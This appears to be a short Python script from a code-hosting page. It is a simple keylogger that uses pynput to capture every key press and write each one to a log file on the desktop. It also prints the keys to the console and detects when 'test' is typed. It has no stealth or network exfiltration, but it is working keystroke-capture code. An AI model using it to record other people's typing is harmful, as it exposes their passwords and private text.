46 lines
949 B
Python
Executable File
46 lines
949 B
Python
Executable File
#!/usr/bin/env python
|
|
|
|
from pynput.keyboard import Listener
|
|
from shutil import copyfile
|
|
|
|
import os
|
|
import logging
|
|
import string
|
|
|
|
username = os.getlogin()
|
|
|
|
logging_directory = os.path.join(
|
|
os.environ['HOME'],
|
|
'desktop'
|
|
)
|
|
|
|
logging.basicConfig(filename=f"{logging_directory}/mylog.txt",
|
|
level=logging.DEBUG, format="%(asctime)s: %(message)s")
|
|
keys = []
|
|
def key_handler(key):
|
|
if hasattr(key, 'char'):
|
|
print(key.char)
|
|
logging.info(key)
|
|
parse(key)
|
|
|
|
def parse(key):
|
|
# if len(keys) > 10:
|
|
# keys.pop(0)
|
|
keys.append(key)
|
|
print(key.__dict__)
|
|
print(key)
|
|
|
|
for key in keys[-4:]:
|
|
if not hasattr(key, 'char'):
|
|
return
|
|
if key.char not in string.ascii_lowercase:
|
|
return
|
|
|
|
print(key.char)
|
|
|
|
if ''.join(map(lambda k:k.char,keys[-4:]))=="test":
|
|
print("you are testing")
|
|
|
|
with Listener(on_press=key_handler) as listener:
|
|
listener.join()
|